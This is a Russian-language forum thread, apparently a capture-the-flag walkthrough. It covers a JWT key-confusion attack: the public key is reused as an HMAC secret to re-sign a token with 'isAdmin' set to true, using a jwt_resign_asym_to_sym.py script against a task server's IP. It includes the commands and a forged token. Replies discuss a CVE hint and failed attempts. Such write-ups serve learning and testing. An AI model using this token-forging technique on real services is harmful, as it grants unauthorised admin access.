![]() |
https://forum.antichat.xyz/attachmen...b05c0f9978.png
Первым делом, нужно сгенерировать наш токен. http://62.173.140.174:16005/gen-jwt/ ИМЯ Сохраняем токен, и также получаем публичный ключ аналогично. Их нужно сохранить в разных файлах, один jwt.txt, другой key.pem Следующим действием необходимо скачать PyJWT,именно PyJWT, удалите jwtи старыйPyJWT Python: Код:
pip3 uninstall jwt PyJWTВ коде нужно изменить 2 параметра Код: Код:
claims = {"isAdmin":True, "name":ИМЯ}Код:
python3 jwt_resign_asym_to_sym.py -k key.pem -nЦитата:
http://62.173.140.174:16005/check-jwt/ ТОКЕН Радуемся добытому флагу! Видео на YouTube: |
|
Решил разобраться с этим таском плотнее, узнать и понять как генерировать JWT без использования сторонних библиотек и сервисов таких как pyJWT, python-jwt, token.dev и пр.
https://forum.antichat.xyz/attachmen...c1c3d139c4.png Header, Payload энкодим в Base64, склеиваем их с точкой между собой и на основе данной строки высчитываем signature. Потом склеиваем все вместе и получаем JWT. Написал свою реализацию на питоне: Python: Код:
import |
Цитата:
┌──(root㉿aboba)-[/home/#######/Desktop/jwt_key_confusion] └─# python3 jwt_resign_asym_to_sym.py -k key.pem -n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiY SIsImlzQWRtaW4iOnRydWV9.kPtOBWhbeJc6Bd2FH7AEg3l9sz 5pk3IXYCkvN5yw2AQ |
Цитата:
|
Спасибо за разбор, очень полезный. Однако хотел спросить - в подсказке к заданию указано что надо смотреть в сторону поиска CVE, хотя тут о нем не слова, получается есть иное решение таска?
|
Цитата:
|
Привет, сгенерил токен и с помощью jwt.io и с помощью тулзы -> оба выдают failure, причем вставлял в secret публичный ключ, и по итогу получал одинаковые токены
|
| Время: 19:06 |